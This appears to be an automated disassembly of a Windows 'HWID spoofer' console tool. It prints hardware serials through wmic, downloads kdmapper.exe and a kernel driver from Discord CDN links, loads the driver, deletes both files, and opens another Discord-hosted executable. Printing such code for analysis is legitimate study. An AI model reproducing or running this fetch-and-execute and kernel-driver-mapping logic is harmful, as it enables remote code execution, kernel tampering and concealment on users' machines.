Function at 0x140001020
Capabilities:
Delete file
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rcx, qword [0x140006668]
mov edx, 5
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._____________n_____________________________________________________________________________________n__________________________________________________________________________n________________________________________________________________________n__.____________________________________________________________n__________V__________________________________________________n________________________________________________________n______________________________________________________________________________________n
call fcn.1400015d0
mov rcx, rax
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003300]
call fcn.1400015d0
mov rcx, qword [0x140006668]
mov edx, 5
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Coded_by_JJ__OS_n
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1__Spoof_n
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2__Clean_n
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._3__Check_Serials_n
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Select_Your_Option:
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov edx, dword [rsp + 0x30]
cmp edx, 1
jne 0x1400013a3
lea rcx, [0x1400035e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n____________________________________________________________________________n______________________________________________________________n_______________________________________________________n______________________________________________________n_______________________________________________________n________________________________________________________________n____________________________________________________________________________n____________________________________________________________________________n
call fcn.1400015d0
mov rcx, rax
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Your_Serials:__n
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________Disk_Drive_Name_______________________n
call fcn.1400015d0
lea rcx, str.wmic_diskdrive_get_model
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________Disk_Drive_Serials_______________________n
call fcn.1400015d0
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________Motherboard_Serials_______________________n
call fcn.1400015d0
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________GPU_Serials_______________________n
call fcn.1400015d0
lea rcx, str.wmic_path_win32_videocontroller_get_pnpdeviceid
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________MAC_Adress_______________________n
call fcn.1400015d0
lea rcx, str.wmic_nic_get_name_macaddress_deviceid_manufacturer
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400035e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsSystem32WindowsSystem32kdmapper.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1210612097134887015_1211071411742052362_WindowsSystem32kdmapper.exe_ex65ecdd25is65da6825hm9cb39be44dfee8d9c6f1235a357960c6daad7375065d698e8818b7d7804faacb
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [0x140003e00]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1210612097134887015_1211071412022943814_WindowsSystem32khserv.sys_ex65ecdd25is65da6825hm74858747527a0e647932b602ec3a854e454198d6e11ae16202c64d7d62f5d50b
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsSystem32kdmapper_Debug.exe_C:WindowsSystemWindowsSystem32khserv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32kdmapper_Debug.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystemWindowsSystem32khserv.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, dword [rsp + 0x30]
cmp edx, 2
jne 0x1400013fe
lea rcx, [0x1400035e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__cdn.discordapp.com_attachments_1209527755494924341_1210763996567961661_AppleCleaner.exe_ex65ebbed7is65d949d7hm1c9fb634a572f53b138e0c1ba33fbc828e0b31ffd222a540eddad2b250596f19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__discord.gg_zBPGR4UE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Returning_To_The_Menu...
call fcn.1400015d0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400035e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, dword [rsp + 0x30]
cmp edx, 3
jne 0x1400015b0
lea rcx, [0x1400035e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Your_Serials:__n
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________Disk_Drive_Name_______________________n
call fcn.1400015d0
lea rcx, str.wmic_diskdrive_get_model
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________Disk_Drive_Serials_______________________n
call fcn.1400015d0
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________Motherboard_Serials_______________________n
call fcn.1400015d0
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________GPU_Serials_______________________n
call fcn.1400015d0
lea rcx, str.wmic_path_win32_videocontroller_get_pnpdeviceid
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________MAC_Adress_______________________n
call fcn.1400015d0
lea rcx, str.wmic_nic_get_name_macaddress_deviceid_manufacturer
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003304]
call fcn.1400015d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Returning_To_The_Menu..._n
call fcn.1400015d0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400035e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001820
add rsp, 0x48
ret